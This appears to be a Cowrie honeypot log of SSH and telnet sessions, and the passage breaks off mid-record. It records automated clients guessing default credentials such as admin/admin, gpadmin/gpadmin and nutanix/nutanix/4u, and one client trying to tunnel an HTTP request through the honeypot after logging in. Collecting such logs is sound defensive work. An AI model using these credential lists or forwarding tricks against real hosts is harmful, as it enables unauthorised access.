{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:04.253159Z","src_ip":"47.86.95.62","session":"29d20d32f299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:05.461405Z","src_ip":"47.86.95.62","session":"29d20d32f299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"a641d4cc02a8","protocol":"ssh","message":"New connection: 45.148.10.121:60434 (159.203.135.109:22) [session: a641d4cc02a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:05.575138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:05.580290Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:05.666225Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:05.925311Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.014125Z","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.105019Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.108627Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.204130Z","src_ip":"45.148.10.121","session":"a641d4cc02a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60448,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffb2efc74f2","protocol":"ssh","message":"New connection: 45.148.10.121:60448 (159.203.135.109:22) [session: 4ffb2efc74f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.282313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.289585Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.374918Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.631004Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.716970Z","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.802844Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.806581Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:06.951436Z","src_ip":"45.148.10.121","session":"4ffb2efc74f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad43015badf","protocol":"ssh","message":"New connection: 47.86.95.62:44020 (10.17.0.5:22) [session: fad43015badf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:08.094953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:08.124224Z","src_ip":"47.86.95.62","session":"fad43015badf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:12.974258Z","src_ip":"47.86.95.62","session":"fad43015badf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:27.667158Z","src_ip":"47.86.95.62","session":"fad43015badf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:28.958523Z","src_ip":"47.86.95.62","session":"fad43015badf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54070,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d543e3e7e6","protocol":"ssh","message":"New connection: 47.86.95.62:54070 (10.17.0.5:22) [session: 80d543e3e7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:35.839860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:35.892970Z","src_ip":"47.86.95.62","session":"80d543e3e7e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:36.055358Z","src_ip":"47.86.95.62","session":"80d543e3e7e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:37.025557Z","src_ip":"47.86.95.62","session":"80d543e3e7e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:38.274266Z","src_ip":"47.86.95.62","session":"80d543e3e7e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ec79ce6699","protocol":"ssh","message":"New connection: 47.86.95.62:54086 (10.17.0.5:22) [session: f9ec79ce6699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:40.795396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:40.799537Z","src_ip":"47.86.95.62","session":"f9ec79ce6699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:41.102603Z","src_ip":"47.86.95.62","session":"f9ec79ce6699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:42.040651Z","src_ip":"47.86.95.62","session":"f9ec79ce6699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:49.678784Z","src_ip":"47.86.95.62","session":"f9ec79ce6699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0046226978302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:52:52.956515Z","src_ip":"187.222.242.146","session":"b3f485a23fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39654,"dst_ip":"10.17.0.5","dst_port":22,"session":"181a00ce9066","protocol":"ssh","message":"New connection: 47.86.95.62:39654 (10.17.0.5:22) [session: 181a00ce9066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:02.327602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:02.335156Z","src_ip":"47.86.95.62","session":"181a00ce9066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:02.541781Z","src_ip":"47.86.95.62","session":"181a00ce9066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:03.161518Z","src_ip":"47.86.95.62","session":"181a00ce9066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":53272,"dst_ip":"159.203.135.109","dst_port":23,"session":"fde59566dab2","protocol":"telnet","message":"New connection: 187.222.242.146:53272 (159.203.135.109:23) [session: fde59566dab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:03.618393Z"}
{"eventid":"cowrie.session.closed","duration":0.010742902755737305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:03.629023Z","src_ip":"187.222.242.146","session":"fde59566dab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":53466,"dst_ip":"159.203.135.109","dst_port":23,"session":"be47edaea894","protocol":"telnet","message":"New connection: 187.222.242.146:53466 (159.203.135.109:23) [session: be47edaea894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:04.087158Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:04.373299Z","src_ip":"47.86.95.62","session":"181a00ce9066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":53606,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0c9605df29","protocol":"telnet","message":"New connection: 187.222.242.146:53606 (159.203.135.109:23) [session: cc0c9605df29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:04.409985Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39662,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c92bba3c8da","protocol":"ssh","message":"New connection: 47.86.95.62:39662 (10.17.0.5:22) [session: 2c92bba3c8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:07.758716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:07.766786Z","src_ip":"47.86.95.62","session":"2c92bba3c8da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-